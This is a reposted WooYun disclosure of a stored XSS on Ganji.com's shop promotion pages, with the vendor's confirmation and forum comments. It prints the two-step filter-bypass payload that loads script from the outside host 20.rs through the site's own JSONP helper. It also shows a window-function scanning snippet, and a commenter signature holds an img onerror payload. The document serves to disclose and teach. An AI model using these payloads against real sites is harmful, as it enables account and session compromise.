赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

admin 2015年6月12日02:37:48评论387 views字数 252阅读0分50秒阅读模式
摘要

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-09: 厂商已经确认,细节仅向厂商公开
2014-09-19: 细节向核心白帽子及相关领域专家公开
2014-09-29: 细节向普通白帽子公开
2014-10-09: 细节向实习白帽子公开
2014-10-24: 细节向公众公开

漏洞概要 关注数(20) 关注此漏洞

缺陷编号: WooYun-2014-75545

漏洞标题: 赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

相关厂商: 赶集网

漏洞作者: 0x_Jin

提交时间: 2014-09-09 14:51

公开时间: 2014-10-24 14:52

漏洞类型: XSS 跨站脚本攻击

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 持久型xss 存储型xss XSS sns类型应用xss xss黑盒测试技巧

3人收藏


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-09: 厂商已经确认,细节仅向厂商公开
2014-09-19: 细节向核心白帽子及相关领域专家公开
2014-09-29: 细节向普通白帽子公开
2014-10-09: 细节向实习白帽子公开
2014-10-24: 细节向公众公开

简要描述:

输出点在标签外 过滤规则 不过滤< > 净过滤些乱七八糟的
某些功能隐藏在网站代码中,方便了程序员也方便了各位黑阔!

详细说明:

过滤了 jQuery $ = script标签不能成对出现否则为空

但是留下 < > 就有希望!

漏洞存储点在于 赶集的店铺 发布促销活动那。

在促销活动的标题那未过滤< >

但是过滤jQuery $ = script标签 并且限制了50个字符 限制了危险字符(不知道这个危险字符代表哪些script都不算)

漏洞存在地址:http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/

上图:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

在网页中使用了jquery 但是无法使用。。。(此处只想说wtf) 为什么不能用打开网页看下就知道。。。 输出点位置的问题。。。

不能用jquery 限制了50个字符 要加载js 怎么弄呢?

此处就来了好玩的 先扫描函数 code:

for (name in window) { if(name.length<=3){console.log(name)} }

扫描函数名长度为小于等于3的函数扫到了这个:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

然后来看看这个函数有哪些方法,我看到了这个:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

然后我们来看看这个方法的代码是怎样的

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

美化一下代码 我看到了这个:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

哟呵,不错哟,在头部添加个script标签 并且src 可传递进去!

于是构造以下payload:

script标签不能成对出现,先提交这个促销标题: -->;</script>

然后再提交<script>GJ.jsonp('//20.rs')<!--

然后访问http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/ 就执行了20.rs的代码!

来看看head部分的dom把:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

咯咯,已经进去了!

我不会告诉你好多网站都有这样的功能比如5* 他们的函数就叫做loadjs

看图:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

漏洞证明:

过滤了 jQuery $ = script标签不能成对出现否则为空

但是留下 < > 就有希望!

漏洞存储点在于 赶集的店铺 发布促销活动那。

在促销活动的标题那未过滤< >

但是过滤jQuery $ = script标签 并且限制了50个字符 限制了危险字符(不知道这个危险字符代表哪些script都不算)

漏洞存在地址:http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/

上图:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

在网页中使用了jquery 但是无法使用。。。(此处只想说wtf) 为什么不能用打开网页看下就知道。。。 输出点位置的问题。。。

不能用jquery 限制了50个字符 要加载js 怎么弄呢?

此处就来了好玩的 先扫描函数 code:

for (name in window) { if(name.length<=3){console.log(name)} }

扫描函数名长度为小于等于3的函数扫到了这个:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

然后来看看这个函数有哪些方法,我看到了这个:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

然后我们来看看这个方法的代码是怎样的

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

美化一下代码 我看到了这个:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

哟呵,不错哟,在头部添加个script标签 并且src 可传递进去!

于是构造以下payload:

script标签不能成对出现,先提交这个促销标题: -->;</script>

然后再提交<script>GJ.jsonp('//20.rs')<!--

然后访问http://cs.ganji.com/fuwu_dian/1141783323x/cuxiao/31701/ 就执行了20.rs的代码!

来看看head部分的dom把:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

咯咯,已经进去了!

我不会告诉你好多网站都有这样的功能比如5* 他们的函数就叫做loadjs

看图:

赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法)

修复方案:

还是老一套~ 别把重要的留着不过滤 乱七八糟的过滤 弄的好像挑战赛一样!

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-09-09 15:23

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对赶集安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-09-09 14:52 | leo335 ( 路人 | Rank:1 漏洞数:1 )

    1

    这个貌似有点意思:)

  2. 2014-09-09 14:53 | 进击的zjx ( 普通白帽子 | Rank:1712 漏洞数:224 )

    0

    看起来很高端

  3. 2014-09-09 14:56 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    XSS 你懂得

  4. 2014-09-09 14:59 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999 ...)

    0

    @px1624 好了 别帮我拉仇恨了 我只想安安心心挖个洞 赚点rank wb什么的 就走的

  5. 2014-09-09 15:17 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    @0x_Jin 哈哈,这次肯定不会1rank的,你放心,厂商有过承诺的了

  6. 2014-09-09 15:23 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999 ...)

    0

    @px1624 那就好~ 要不然我就伤心了~

  7. 2014-09-09 15:29 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    @0x_Jin 起码2rank,(*^__^*) 嘻嘻

  8. 2014-09-09 15:30 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999 ...)

    0

    @px1624 给了12.。

  9. 2014-09-09 15:36 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    @0x_Jin 哈哈,恭喜恭喜,看来貌似官方帐号真的换人了!又可以开心的提交赶集网漏洞了

  10. 2014-09-09 15:47 | zeracker 赶集主站又一存储型XSS(好玩的过滤 + 好玩的Load Hook方法) ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    0

    怎么感觉大家对赶集之前意见很大的样子? 貌似错过了什么

  11. 2014-09-09 16:11 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999 ...)

    0

  12. 2014-09-09 17:53 | bey0nd ( 普通白帽子 | Rank:941 漏洞数:148 | 相忘于江湖,不如相濡以沫)

    0

    换了

  13. 2014-10-24 16:03 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    0

    这个有意思哦

  14. 2014-10-24 16:25 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)

    0

    有点意思

  15. 2015-01-27 16:21 | M4ster ( 实习白帽子 | Rank:39 漏洞数:7 | )

    0

    Load Hook,Nice。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin